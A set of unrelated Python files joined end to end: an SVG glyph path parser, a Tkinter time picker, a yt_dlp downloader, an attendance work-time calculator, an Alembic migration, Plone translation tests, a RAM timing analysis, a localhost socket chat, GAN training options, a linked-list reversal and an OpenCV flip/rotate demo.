def generate_arc(points, n_inner_verts, radius_x, radius_y, rotation, is_large, is_sweep, target_x, target_y):
	points.append([target_x, target_y])

def generate_points(cmds):
	shapes = []
	points = []
	prev_quad_x = 0
	prev_quad_y = 0
	prev_cubic_x = 0
	prev_cubic_y = 0
	for c in cmds:
		prev_x = 0 if not points else points[-1][0]
		prev_y = 0 if not points else points[-1][1]
		if points and (c[0] == 'Z' or c[0] == 'z'):
			shapes.append(points)
			points = []
		elif c[0] == 'M':
			if points:
				shapes.append(points)
				points = []
			points.append([c[1], c[2]])
		elif c[0] == 'm':
			if points:
				shapes.append(points)
				points = []
			points.append([c[1] + prev_x, c[2] + prev_y])
		elif c[0] == 'L':
			points.append([c[1], c[2]])
		elif c[0] == 'l':
			points.append([c[1] + prev_x, c[2] + prev_y])
		elif c[0] == 'H':
			points.append([c[1], prev_y])
		elif c[0] == 'h':
			points.append([c[1] + prev_x, prev_y])
		elif c[0] == 'V':
			points.append([prev_x, c[1]])
		elif c[0] == 'v':
			points.append([prev_x, c[1] + prev_y])
		elif c[0] == 'Q':
			generate_quadratic(points, 10, c[1], c[2], c[3], c[4])
			prev_quad_x = c[1]
			prev_quad_y = c[2]
		elif c[0] == 'q':
			generate_quadratic(points, 10, c[1] + prev_x, c[2] + prev_y, c[3] + prev_x, c[4] + prev_y)
			prev_quad_x = c[1] + prev_x
			prev_quad_y = c[2] + prev_y
		elif c[0] == 'T':
			bone_x = 2*prev_x - prev_quad_x
			bone_y = 2*prev_y - prev_quad_y
			generate_quadratic(points, 10, bone_x, bone_y, c[1], c[2])
			prev_quad_x = bone_x
			prev_quad_y = bone_y
		elif c[0] == 't':
			bone_x = 2*prev_x - prev_quad_x
			bone_y = 2*prev_y - prev_quad_y
			generate_quadratic(points, 10, bone_x, bone_y, c[1] + prev_x, c[2] + prev_y)
			prev_quad_x = bone_x
			prev_quad_y = bone_y
		elif c[0] == 'C':
			generate_cubic(points, 10, c[1], c[2], c[3], c[4], c[5], c[6])
			prev_cubic_x = c[3]
			prev_cubic_y = c[4]
		elif c[0] == 'c':
			generate_cubic(points, 10, c[1] + prev_x, c[2] + prev_y, c[3] + prev_x, c[4] + prev_y, c[5] + prev_x, c[6] + prev_y)
			prev_cubic_x = c[3] + prev_x
			prev_cubic_y = c[4] + prev_y
		elif c[0] == 'S':
			bone_x = 2*prev_x - prev_cubic_x
			bone_y = 2*prev_y - prev_cubic_y
			generate_cubic(points, 10, bone_x, bone_y, c[1], c[2], c[3], c[4])
			prev_cubic_x = bone_x
			prev_cubic_y = bone_y
		elif c[0] == 's':
			bone_x = 2*prev_x - prev_cubic_x
			bone_y = 2*prev_y - prev_cubic_y
			generate_cubic(points, 10, bone_x, bone_y, c[1] + prev_x, c[2] + prev_y, c[3] + prev_x, c[4] + prev_y)
			prev_cubic_x = bone_x
			prev_cubic_y = bone_y
		elif c[0] == 'A':
			generate_arc(points, 10, c[1], c[2], c[3], c[4], c[5], c[6], c[7])
		elif c[0] == 'a':
			generate_arc(points, 10, c[1], c[2], c[3], c[4], c[5], c[6] + prev_x, c[7] + prev_y)

	return shapes

def plot_all_glyphs(glyphs):
	idx = 0
	for g in glyphs:
		for s in g:
			x_offset = (idx  % 8) * 2048
			y_offset = (idx // 8) * 2048
			x_list = [p[0] + x_offset for p in s]
			y_list = [p[1] + y_offset for p in s]
			plt.plot(x_list, y_list)
		idx += 1

	plt.show()

def main():
	paths, slots = load_paths_from_svg_file("font.svg")

	glyphs = []
	for p in paths:
		cmds = path_to_command_list(p)
		glyphs.append(generate_points(cmds))

	plot_all_glyphs(glyphs)


from tkinter import Entry, PhotoImage, Frame, Label

IMG_ARROW_UP_PATH = 'resources/images/components/flecha-up64.png'
IMG_ARROW_DOWN_PATH = 'resources/images/components/flecha-down64.png'

class TimePicker(Frame):

    def __init__(self, parent):
        super().__init__(parent)
        self.config(bg=parent['bg'])

        self.IMG_ARROW_UP = PhotoImage(file=IMG_ARROW_UP_PATH)
        self.IMG_ARROW_DOWN = PhotoImage(file=IMG_ARROW_DOWN_PATH)

        self.hours_spinner = Frame(self)
        self.hours_up = Label(self.hours_spinner, image=self.IMG_ARROW_UP, bg=parent['bg'])
        self.hours_up.pack()

        self.hours_textbox = Entry(self.hours_spinner, bg=parent['bg'], fg="white", font=("", "22"))
        self.hours_up.pack()

        self.hours_down = Label(self.hours_spinner, image=self.IMG_ARROW_DOWN, bg=parent['bg'])
        self.hours_down.pack()

        self.hours_spinner.pack()


import yt_dlp
from tqdm import tqdm
import os

def download_videos(urls):
    ydl_opts = {
        'progress_hooks': [progress_hook],
        'outtmpl': 'ruta/resumenes/%(title)s.%(ext)s',  # Cambio de ruta de guardado
        'format': 'bestvideo[ext=webm]+bestaudio[ext=webm]/best[ext=webm]/best',
    }

    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        for url in urls:
            info_dict = ydl.extract_info(url, download=True)
            title = info_dict.get('title', 'Untitled')
            print(f"{title} descargado correctamente.")

def progress_hook(data):
    if data['status'] == 'downloading':
        if 'total_bytes' in data and data['total_bytes'] > 0:
            total_bytes = data['total_bytes']
            downloaded_bytes = data['downloaded_bytes']
            percentage = (downloaded_bytes / total_bytes) * 100

            speed_info = f" - Velocidad: {data['speed']:.2f} bytes/s" if 'speed' in data and data['speed'] is not None else ""
            tqdm.write(f"Progreso: {percentage:.2f}%{speed_info}", end="\r")

if __name__ == "__main__":
    urls = [
        "https://www.youtube.com/watch?v=60Jr4xAwIlg&t=897s"
          # Ejemplo de video individual
    ]

    # Crear la carpeta si no existe
    if not os.path.exists('ruta/videos'):
        os.makedirs('ruta/videos')

    download_videos(urls)


#! /usr/bin/env python

import xlrd
import xlwt
import re
import datetime
import json

with open("config.txt", 'r') as f:
    params = json.load(f)
FILE = params["FILE"]
MONTH = params['MONTH']
ON_WORK_TIME = params['ON_WORK_TIME']
LUNCH_TIME = params['LUNCH_TIME']
REST_TIME = params['REST_TIME']
AFTERNOON_WORK_TIME = params['AFTERNOON_WORK_TIME']
OFF_WORK_TIME = params['OFF_WORK_TIME']
OVER_WORK_TIME = params['OVER_WORK_TIME']
OVER_TIME = params['OVER_TIME']

def str_to_absmin(t_str):
    a = list(map(int, t_str.split(':')))  # list() for python3 compatible
    return a[0]*60 + a[1]

def duration(start, end):
    return str_to_absmin(end) - str_to_absmin(start)

def proc_time(time_list, is_weekend=False):
    if len(time_list) == 0:
        return "", "~", 0, 0
    if len(time_list) == 1:
        return "", time_list[0]+"~", 0, 0

    start = time_list[0]
    end = time_list[-1]
    start_min = str_to_absmin(start)
    end_min = str_to_absmin(end)

    tag = ""
    start_end = start + "~" + end
    work_duration = 0
    over_duration = 0

    if is_weekend:
        over_duration = duration(start, end)
        over_duration = round(over_duration/60.0, 1) # * 2)/2.0

        return tag, start_end, work_duration, over_duration

    else:
        morning_work_min = duration(ON_WORK_TIME, LUNCH_TIME)
        afternoon_work_min = duration(AFTERNOON_WORK_TIME, OFF_WORK_TIME)
        regular_work_min =  morning_work_min + afternoon_work_min

        if start_min <= str_to_absmin(ON_WORK_TIME):  # check in regular
            if end_min > str_to_absmin(OVER_TIME):  # work over time
                work_duration = regular_work_min
                over_duration = duration(OVER_WORK_TIME, end)
            elif end_min >= str_to_absmin(OFF_WORK_TIME): # regular work
                work_duration = regular_work_min
            elif end_min >= str_to_absmin(AFTERNOON_WORK_TIME):  # work over lunch
                work_duration = morning_work_min + duration(AFTERNOON_WORK_TIME, end)
            elif end_min >= str_to_absmin(LUNCH_TIME): # work whole morning
                work_duration = morning_work_min
            else: # work only morning
                work_duration = duration(ON_WORK_TIME, end)

        elif start_min > str_to_absmin(ON_WORK_TIME) and start_min <= str_to_absmin(LUNCH_TIME): # late check in morning
            late = start_min - str_to_absmin(ON_WORK_TIME)
            tag = "late: " + str(late) + "min"
            if late < 30: # late but worktime is full
                late = 0
                start = ON_WORK_TIME

            if  late > 60:
                tag = "absence: " + str(late) + "min"

            if end_min > str_to_absmin(OVER_TIME):  # work over time
                work_duration = regular_work_min - late
                over_duration = duration(OVER_WORK_TIME, end)
            elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
                work_duration = regular_work_min - late
            elif end_min > str_to_absmin(AFTERNOON_WORK_TIME):  # work over lunch
                work_duration = duration(start, LUNCH_TIME) + duration(AFTERNOON_WORK_TIME, end)
            elif end_min >= str_to_absmin(LUNCH_TIME): # work whole morning
                work_duration = duration(start, LUNCH_TIME)
            else: # work only morning
                work_duration = duration(start, end)

        # check in lunchtime
        elif start_min > str_to_absmin(LUNCH_TIME) and start_min < str_to_absmin(AFTERNOON_WORK_TIME):
            tag = "absence: " + str(morning_work_min) + "min"

            if end_min > str_to_absmin(OVER_TIME):  # work over time
                work_duration = afternoon_work_min
                over_duration = duration(OVER_WORK_TIME, end)
            elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
                work_duration = afternoon_work_min
            elif end_min > str_to_absmin(AFTERNOON_WORK_TIME):  # work over lunch
                work_duration = duration(start, end)
            else:
                pass

        # check in afternoon
        elif start_min > str_to_absmin(AFTERNOON_WORK_TIME) and start_min <= str_to_absmin(OFF_WORK_TIME): # check in afternoon
            tag = "absence: morning"
            if end_min > str_to_absmin(OVER_TIME):  # work over time
                work_duration = duration(start, OFF_WORK_TIME)
                over_duration = duration(OVER_WORK_TIME, end)
            elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
                work_duration = duration(start, OFF_WORK_TIME)
            else:
                work_duration = duration(start, end)

        else: # check in evening
            if end_min > str_to_absmin(OVER_TIME):  # work over time
                over_duration = duration(OVER_WORK_TIME, end)
            else:
                pass

        work_duration = round(work_duration/60.0, 1) # * 2)/2.0
        over_duration = round(over_duration/60.0, 1) # * 2)/2.0

        return tag, start_end, work_duration, over_duration

def check_weekend(day):
    weekenum = ["Mon", "Tus", "Wed", "Thu", "Fri", "Sat", "Sun"]
    year_month = MONTH.split('/')
    d = datetime.date(int(year_month[0]), int(year_month[1]), int(day))
    if d.weekday() == 5 or d.weekday() == 6:
        return True, weekenum[d.weekday()]
    else:
        return False, weekenum[d.weekday()]

if __name__ == "__main__":
    src_book = xlrd.open_workbook(FILE)
    src_sheet = src_book.sheets()[2]
    n_rows = src_sheet.nrows
    print("sheet rows:{}".format(n_rows))

    dst_book = xlwt.Workbook()
    dst_sheet = dst_book.add_sheet('Sheet1')

    # copy the head
    row = src_sheet.row_values(2)
    dst_sheet.write(0, 0, row[0])
    dst_sheet.write(0, 1, row[2])
    dst_sheet.write(0, 20, "generate by whj")
    row = src_sheet.row_values(3)
    for i, r in enumerate(row):
        dst_sheet.write(1, i+1, r)

    # copy and calc work time
    ind = 2
    for i in range(4, n_rows):
        row = src_sheet.row_values(i)
        if i%2 == 0:
            dst_sheet.write(ind, 0, row[2] + ":".encode('utf-8') + row[10])
            ind += 1
        else:
            # write title
            dst_sheet.write(ind, 0, "start~end")
            dst_sheet.write(ind+1, 0, "worktime")
            dst_sheet.write(ind+2, 0, "overtime")
            dst_sheet.write(ind+3, 0, "comment")
            for j, r in enumerate(row):
                time_list = re.findall(r'.{5}', r)
                is_weekend, day_tag = check_weekend(src_sheet.cell_value(3, j))
                tag, start_end, work_duration, over_duration = proc_time(time_list, is_weekend)
                dst_sheet.write(ind, j+1, start_end)
                dst_sheet.write(ind+1, j+1, work_duration)
                dst_sheet.write(ind+2, j+1, over_duration)
                dst_sheet.write(ind+3, j+1, tag)
                if is_weekend:
                    dst_sheet.write(ind-1, j+1, day_tag)
            ind += 4

    dst_book.save("new.xls")


"""empty message

Revision ID: 0d5bc1e7130f
Revises: e66b9b19bb30
Create Date: 2019-11-06 12:52:48.951088

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '0d5bc1e7130f'
down_revision = 'e66b9b19bb30'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.alter_column('ipath_namelist', 'calories',
               existing_type=sa.INTEGER(),
               nullable=True)
    op.alter_column('ipath_namelist', 'record',
               existing_type=sa.INTEGER(),
               nullable=True)
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.alter_column('ipath_namelist', 'record',
               existing_type=sa.INTEGER(),
               nullable=False)
    op.alter_column('ipath_namelist', 'calories',
               existing_type=sa.INTEGER(),
               nullable=False)
    # ### end Alembic commands ###


from plone.app.multilingual.interfaces import IPloneAppMultilingualInstalled
from plone.app.multilingual.interfaces import ITranslationManager
from plone.app.multilingual.testing import PAM_FUNCTIONAL_TESTING
from plone.app.testing import SITE_OWNER_NAME
from plone.app.testing import SITE_OWNER_PASSWORD
from plone.dexterity.utils import createContentInContainer
from plone.testing._z2_testbrowser import Browser
from zope.interface import alsoProvides

import transaction
import unittest

class TestForm(unittest.TestCase):
    layer = PAM_FUNCTIONAL_TESTING

    def setUp(self):
        self.portal = self.layer["portal"]
        alsoProvides(self.layer["request"], IPloneAppMultilingualInstalled)
        # Setup test browser
        self.browser = Browser(self.layer["app"])
        self.browser.handleErrors = False
        self.browser.addHeader(
            "Authorization", f"Basic {SITE_OWNER_NAME}:{SITE_OWNER_PASSWORD}"
        )

    def test_all_translation_links_are_shown(self):
        a_ca = createContentInContainer(
            self.portal["ca"], "Document", title="Test document"
        )

        transaction.commit()

        self.browser.open(a_ca.absolute_url())
        self.assertIn("plone-contentmenu-multilingual", self.browser.contents)
        self.assertIn("translate_into_es", self.browser.contents)
        self.assertIn("translate_into_en", self.browser.contents)

    def test_translation_form_creates_translation(self):
        a_ca = createContentInContainer(
            self.portal["ca"], "Document", title="Test document"
        )

        transaction.commit()

        # Translate content
        self.browser.open(a_ca.absolute_url() + "/@@create_translation?language=en")

        # Fill in translation details
        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test document"
        self.browser.getControl(name="form.buttons.save").click()

        self.portal._p_jar.sync()

        self.assertIn("test-document", self.portal["en"].objectIds())

        self.browser.open(a_ca.absolute_url())
        self.assertIn("plone-contentmenu-multilingual", self.browser.contents)
        self.assertIn("translate_into_es", self.browser.contents)
        self.assertNotIn("translate_into_en", self.browser.contents)

    def test_translation_form_prevents_translating_twice(self):
        a_ca = createContentInContainer(
            self.portal["ca"], "Document", title="Test document"
        )

        transaction.commit()

        # Translate content
        self.browser.open(a_ca.absolute_url() + "/@@create_translation?language=en")

        # Save ++add++translation... URL
        add_translation_url = self.browser.url

        # Fill in translation details
        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test document"
        self.browser.getControl(name="form.buttons.save").click()

        self.portal._p_jar.sync()

        # Revisit the saved ++add++translation... URL
        self.browser.open(add_translation_url)

        # Which should now redirect to the created translation
        self.assertEqual(
            self.portal["en"]["test-document"].absolute_url(), self.browser.url
        )

    def test_translation_can_be_unregistered(self):
        a_ca = createContentInContainer(
            self.portal["ca"], "Document", title="Test document"
        )

        transaction.commit()

        # Create translation
        self.browser.open(a_ca.absolute_url() + "/@@create_translation?language=en")

        # Fill in translation details
        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test document"
        self.browser.getControl(name="form.buttons.save").click()

        # Unregister translation
        self.browser.open(
            a_ca.absolute_url()
            + f"/disconnect_translation?came_from={a_ca.UID()}&language=en"
        )
        self.browser.getForm(index=1).submit()

        self.portal._p_jar.sync()

        self.assertNotIn("en", ITranslationManager(a_ca).get_translations())

        # self.assertEqual(
        #     self.browser.getControl(name="form.widgets.languages:list").value,
        #     ['en'])
        # self.browser.getControl(name='form.buttons.unlink').click()
        # self.assertEqual(
        #     self.browser.getControl(name="form.widgets.languages:list").value,
        #     [])

        # Translation is unregistered
        self.browser.open(a_ca.absolute_url())
        self.assertIn("plone-contentmenu-multilingual", self.browser.contents)
        self.assertIn("translate_into_es", self.browser.contents)
        self.assertIn("translate_into_en", self.browser.contents)

        transaction.commit()

        # Content is still available
        self.assertIn("test-document", self.portal["en"].contentIds())

    # Removed because its testes on robot framework with the relation pattern
    # def test_registering_translation(self):
    #     a_ca = createContentInContainer(
    #         self.portal['ca'], 'Document', title=u"Test document")

    #     b_ca = createContentInContainer(
    #         self.portal['ca'], 'Document', title=u"Test document")

    #     transaction.commit()

    #     # Register translation
    #     self.browser.open(
    #         a_ca.absolute_url() + '/add_translations')
    #     self.assertEqual(self.browser.getControl(
    #         name="form.widgets.language:list").options, ['en', 'es'])

    #     # Fill in form
    #     form = self.browser.getForm(index=1)
    #     form.mech_form.new_control(
    #         type='radio',
    #         name='form.widgets.content:list',
    #         attrs=dict(checked='checked',
    #                    value='%s' % '/'.join(b_ca.getPhysicalPath()),
    #                    id='form-widgets-content-0'))
    #     self.browser.getControl(
    #         name="form.widgets.language:list").value = ['en']
    #     self.browser.getControl(
    #         name='form.buttons.add_translations').click()

    #     # Language is removed from nontranslated languages
    #     self.assertEqual(self.browser.getControl(
    #         name="form.widgets.language:list").options, ['es'])

    #     # And translation can be unregistered
    #     self.browser.open(a_ca.absolute_url() + '/remove_translations')
    #     self.assertEqual(self.browser.getControl(
    #         name="form.widgets.languages:list").value, ['en'])

    def test_translation_can_be_removed_by_deleting(self):
        a_ca = createContentInContainer(
            self.portal["ca"], "Document", title="Test document"
        )

        transaction.commit()

        # Translate content
        self.browser.open(a_ca.absolute_url() + "/@@create_translation?language=en")

        # Fill in translation details
        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test document"
        self.browser.getControl(name="form.buttons.save").click()

        # Remove translation
        self.browser.open(
            ITranslationManager(a_ca).get_translation("en").absolute_url()
            + "/delete_confirmation"
        )
        self.browser.getControl(name="form.buttons.Delete").click()

        self.portal._p_jar.sync()
        self.assertNotIn("en", ITranslationManager(a_ca).get_translations())

    def test_folderish_content_can_be_translated(self):
        createContentInContainer(self.portal["ca"], "Folder", title="Test folder")

        transaction.commit()

        self.browser.open(
            self.portal.absolute_url()
            + "/ca/test-folder/@@create_translation?language=en"
        )

        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test folder"
        self.browser.getControl(name="form.buttons.save").click()

        self.portal._p_jar.sync()

        self.assertIn("test-folder", self.portal["en"].objectIds())

    def test_content_in_folders_can_be_translated(self):
        af_ca = createContentInContainer(
            self.portal["ca"], "Folder", title="Test folder"
        )

        b_ca = createContentInContainer(
            self.portal["ca"]["test-folder"], "Document", title="Test document"
        )

        transaction.commit()

        self.browser.open(
            af_ca.absolute_url() + "/" + b_ca.id + "/@@create_translation?language=en"
        )

        self.browser.getControl(
            name="form.widgets.IDublinCore.title"
        ).value = "Test folder"
        self.browser.getControl(name="form.buttons.save").click()

        self.portal._p_jar.sync()

        self.assertIn("test-folder", self.portal["en"].objectIds())


import random
import numpy as np
import matplotlib.pyplot as plt
from pathlib import Path

# This is the data analysis for the RAM extension module

# all the numpy arrays for all the available data.
calculatedTimeOKWrite = np.array([])        # array of all the successful writing operations
calculatedTimeOKRead = np.array([])         # array of all the successful reading operations
calculatedTimeNW = np.array([])             # array of all the no response writing operations
calculatedTimeNR = np.array([])             # array of all the no response reading operations
calculatedTimeNO = np.array([])             # array of all the wrong response reading operations
calculatedTimeAllReading = np.array([])
calculatedTimeAllWriting = np.array([])
calculatedTimeNORESP= np.array([])
calculatedTimeNO00 = np.array([])
calculatedTimeNO11 = np.array([])
index = 0

#reading from file, Read in 8 lines each time
def getFromFile(fileName, ID):
    home = str(Path.home())
    file = open(home + "\\" + fileName, "r")
    i = 0
    lines = []
    for x in file:
        if i < 8:
            lines.append(x.rstrip())
            i = i + 1
        if i == 8:
            checkLines(lines, ID)
            lines.clear()
            i = i + 1
        elif i == 9:
            i = 0

    file.close()

# check if lines are correct, and put in right array
def checkLines(lines, ID):
    global index
    global calculatedTimeOKWrite
    global calculatedTimeNW
    global calculatedTimeOKRead
    global calculatedTimeNR
    global calculatedTimeNO
    global calculatedTimeAllReading
    global calculatedTimeAllWriting

    global calculatedTimeNORESP
    global calculatedTimeNO00
    global calculatedTimeNO11

    index = index + 1

    readWrite = "0"
    if lines[0] != ID:
        return
    if lines[1] == write:
        readWrite = "Write"
    elif lines[1] == read:
        readWrite = "Read"
    else:
        return
    if int(lines[7], 2) != 0:
        return

    address = int(lines[2], 2)
    response = lines[3]
    timeBegin = int(lines[4], 2)
    timeEnd = int(lines[5], 2)
    time = int(lines[6], 2)

    calculate = timeEnd - timeBegin

    #if negative, compute two's complement
    if calculate < 0:
        calculate = (calculate * (-1)) - (1 << 16)

    if abs(calculate) != abs(time):
        print("Error in file calculation")
        print("time begin:", timeBegin)
        print("time end:", timeEnd)
        print("calculated:", calculate)
        print("time:", time)
        return

    if readWrite == "Write":
        calculatedTimeAllWriting = np.append(calculatedTimeAllWriting, time)
        if response == OKWrite:
            calculatedTimeOKWrite = np.append(calculatedTimeOKWrite,time)
        elif response == NotWrite:
            calculatedTimeNW = np.append(calculatedTimeNW, time)
    elif readWrite == "Read":
        calculatedTimeAllReading = np.append(calculatedTimeAllReading, time)
        if response == OKRead:
            calculatedTimeOKRead = np.append(calculatedTimeOKRead, time)
        elif response == NotResponse:
            calculatedTimeNR = np.append(calculatedTimeNR, time)
        elif response == WrongResponse or response == AllZeroesResponse or response == AllOnesResponse:
            calculatedTimeNO = np.append(calculatedTimeNO, time)
            if response == WrongResponse:
                calculatedTimeNORESP = np.append(calculatedTimeNORESP, time)
            elif response == AllZeroesResponse:
                calculatedTimeNO00 = np.append(calculatedTimeNO00, time)
            elif response == AllOnesResponse:
                calculatedTimeNO11 = np.append(calculatedTimeNO11, time)

    return

def getListLengths():
    print("The amount of list OK Writing = ", len(calculatedTimeOKWrite))
    print("The amount of list OK Reading = ", len(calculatedTimeOKRead))
    print("The amount of list Not Writing = ", len(calculatedTimeNW))
    print("The amount of list Not Response = ", len(calculatedTimeNR))
    print("The amount of list Wrong reading response = ", len(calculatedTimeNO))
    print("The amount of list Wrong reading response NO = ", len(calculatedTimeNORESP))
    print("The amount of list Wrong reading response 00 = ", len(calculatedTimeNO00))
    print()
    print("total amount writings = ", len(calculatedTimeOKWrite) + len(calculatedTimeNW))
    print("total amount Readings = ", len(calculatedTimeOKRead) + len(calculatedTimeNR) + len(calculatedTimeNO))
    print("total amount writings = ", len(calculatedTimeAllWriting))
    print("total amount Readings = ", len(calculatedTimeAllReading))

# read average timings of the operations which are successful
def getAverage():
    print("average OK WRITE", calculatedTimeOKWrite.mean())
    print("average OK READ", calculatedTimeOKRead.mean())

# Print a bar chart with the timings of the writing operations
def printBarChartWriting():
    ax = plt.subplot()
    (uniqueValues, counts) = np.unique(np.sort(calculatedTimeAllWriting), return_counts=True)
    print(uniqueValues)
    print(counts/len(calculatedTimeAllWriting))
    x_pos = [i for i, _ in enumerate(np.around(uniqueValues))]

    plt.bar(x_pos, counts/len(calculatedTimeAllWriting)*100, width=1)
    plt.xlabel("clock cycles")
    plt.ylabel("amount of tests [%]")
    plt.xticks(x_pos, uniqueValues)
    plt.title("Writing timings", None, 'right', 10)
    labels = np.around(counts/len(calculatedTimeAllWriting)*100, 2)

    rects = ax.patches
    for rect, label in zip(rects, labels):
        height = rect.get_height()
        ax.text(rect.get_x() + rect.get_width() / 2, height + 5, label,
                ha='center', va='bottom')

    plt.show()
    return

# Print a bar chart with the timings of the reading operations
def printBarChartReading():
    ax = plt.subplot()
    (uniqueValues, counts) = np.unique(np.sort(calculatedTimeAllReading), return_counts=True)
    print(uniqueValues)
    print(counts/len(calculatedTimeAllReading))
    x_pos = [i for i, _ in enumerate(np.around(uniqueValues))]

    plt.bar(x_pos, counts/len(calculatedTimeAllReading)*100, width=1)
    plt.xlabel("clock cycles")
    plt.ylabel("amount of tests [%]")
    plt.xticks(x_pos, uniqueValues)
    plt.title("Reading timings", None, 'right', 10)
    labels = np.around(counts/len(calculatedTimeAllReading)*100, 2)

    rects = ax.patches
    for rect, label in zip(rects, labels):
        height = rect.get_height()
        ax.text(rect.get_x() + rect.get_width() / 2, height + 5, label,
                ha='center', va='bottom')

    plt.show()
    return

write = "0000000000000010"
read = "0000000000000001"
OKWrite = "0101011101001011"
NotWrite = "0101011101001110"
OKRead = "0100101101001111"
NotResponse = "0101001001001110"
WrongResponse = "0100111101001110"
AllZeroesResponse = "0011000000110000"
AllOnesResponse = "0011000100110001"

getFromFile("TesterRCoreDRK.txt", "0000000000000000")
#getFromFile("alltestingMSP.txt", "0000000000000000")

getListLengths()
getAverage()
printBarChartWriting()
printBarChartReading()


import socket
import threading
from time import ctime,sleep

def rec():
    while True:
        sleep(0.2)
        try:
            print("client:"+conn.recv(1024))
        except:
            continue
def send():
    while True:
        sleep(0.2)
        try:
            conn.sendall(raw_input())
        except:
            continue

host="127.0.0.1"
port=11110
soc=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.bind((host,port))
soc.listen(10)
print("start")
while True:
    try:
        conn,addr=soc.accept()
        t1=threading.Thread(target=rec)
        t1.setDaemon(True)
        t1.start()
        t2=threading.Thread(target=send)
        t2.setDaemon(True)
        t2.start()
    except:
        continue


from .base_options import BaseOptions

class TrainOptions(BaseOptions):
    """This class includes training options.

    It also includes shared options defined in BaseOptions.
    """

    def initialize(self, parser):
        parser = BaseOptions.initialize(self, parser)
        # visdom and HTML visualization parameters
        parser.add_argument(
            "--display_ind",
            type=int,
            default=25,
            help="The index frame to visualize during training.",
        )
        parser.add_argument(
            "--display_freq",
            type=int,
            default=10,
            help="frequency of showing training results on screen (in epochs)",
        )
        parser.add_argument(
            "--display_ncols",
            type=int,
            default=0,
            help="if positive, display all images in a single visdom web panel with certain number of images per row.",
        )
        parser.add_argument(
            "--display_id", type=int, default=1, help="window id of the web display"
        )
        parser.add_argument(
            "--display_server",
            type=str,
            default="http://localhost",
            help="visdom server of the web display",
        )
        parser.add_argument(
            "--display_env",
            type=str,
            default="main",
            help='visdom display environment name (default is "main")',
        )
        parser.add_argument(
            "--display_port",
            type=int,
            default=8097,
            help="visdom port of the web display",
        )
        parser.add_argument(
            "--update_html_freq",
            type=int,
            default=10,
            help="frequency of saving training results to html",
        )
        parser.add_argument(
            "--print_freq",
            type=int,
            default=10,
            help="frequency of showing training results on console (in steps per epoch)",
        )
        parser.add_argument(
            "--no_html",
            action="store_true",
            help="do not save intermediate training results to [opt.checkpoints_dir]/[opt.name]/web/",
        )
        # network saving and loading parameters
        parser.add_argument(
            "--save_latest_freq",
            type=int,
            default=20,
            help="frequency of saving the latest results (in epochs)",
        )
        parser.add_argument(
            "--save_by_epoch",
            type=bool,
            default=True,
            help='whether saves model as "epoch" or "latest" (overwrites previous)',
        )
        parser.add_argument(
            "--continue_train",
            action="store_true",
            help="continue training: load the latest model",
        )
        parser.add_argument(
            "--overwrite_lambdas",
            action="store_true",
            help="continue training and overwrite lambdas and epochs hyperparams by history",
        )
        parser.add_argument(
            "--overwrite_lrs",
            action="store_true",
            help="continue training and overwrite lr by history",
        )
        parser.add_argument(
            "--epoch_count",
            type=int,
            default=1,
            help="the starting epoch count, we save the model by <epoch_count>, <epoch_count>+<save_latest_freq>, ...",
        )
        parser.add_argument(
            "--phase", type=str, default="train", help="train, val, test, etc"
        )
        # training parameters
        parser.add_argument(
            "--n_epochs",
            type=int,
            default=None,
            help="number of training epochs with the initial learning rate.\
        You only need to specify one of this or n_steps",
        )
        parser.add_argument(
            "--n_steps",
            type=int,
            default=24000,
            help="number of training steps with the initial learning rate",
        )
        parser.add_argument(
            "--n_steps_decay",
            type=int,
            default=0,
            help="number of steps to linearly decay learning rate to zero",
        )
        parser.add_argument(
            "--lr", type=float, default=0.001, help="initial learning rate for adam"
        )
        parser.add_argument(
            "--lr_policy",
            type=str,
            default="linear",
            help="learning rate policy. [linear | step | plateau | cosine]",
        )
        parser.add_argument(
            "--pretrained",
            action="store_true",
            help="Whether use part of a pretrained resnet18 for the discriminator.",
        )
        parser.add_argument(
            "--discriminator_transform",
            type=str,
            default="randomcrop",
            help="What transform to apply to the generated rgb before feeding into the discriminator.",
        )
        parser.add_argument(
            "--jitter",
            action="store_true",
            help="Whether use the original jitter for training.",
        )

        self.isTrain = True
        return parser


'''
反转一个单链表。

示例:

输入: 1->2->3->4->5->NULL
输出: 5->4->3->2->1->NULL
进阶:
你可以迭代或递归地反转链表。你能否用两种方法解决这道题？
'''

# Definition for singly-linked list.
class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution:
    def reverseList(self, head: ListNode) -> ListNode:
        p = None

        while head:
            head.next, p, head = p, head, head.next

        return p

l = ListNode(1)
l.next = ListNode(2)
l.next.next = ListNode(3)

s = Solution()
s.reverseList(l)


import numpy as np
import cv2
from matplotlib import pyplot as plt
import matplotlib.image as mpimg

img = mpimg.imread("img/animal.jpg")
horizontal_img = cv2.flip(img, 1)
vertical_img = cv2.flip(img, 0)
both_img = cv2.flip(img, -1)

(h,w) = img.shape[:2]
print(h,w)
center = (w/2, h/2)
angle90 = 90
angle180 = 180
angle270 = 270
scale = 1.0

M = cv2.getRotationMatrix2D(center, angle90, scale)
rotated90 = cv2.warpAffine(img, M, (w,h))
horizontal_img = rotated90

M = cv2.getRotationMatrix2D(center, angle180, scale)
rotated180 = cv2.warpAffine(img, M, (w,h))
vertical_img = rotated180

M = cv2.getRotationMatrix2D(center, angle270, scale)
rotated270 = cv2.warpAffine(img, M, (w,h))
both_img = rotated270

plt.subplot(2,2,1), plt.imshow(img)
plt.title('Original'), plt.xticks([]), plt.yticks([])

plt.subplot(2,2,2), plt.imshow(horizontal_img)
plt.title('Flip Horizontal'), plt.xticks([]), plt.yticks([])

plt.subplot(2,2,3), plt.imshow(vertical_img)
plt.title('Flip Vertical'), plt.xticks([]), plt.yticks([])

plt.subplot(2,2,4), plt.imshow(both_img)
plt.title('Flip Both'), plt.xticks([]), plt.yticks([])

plt.show()


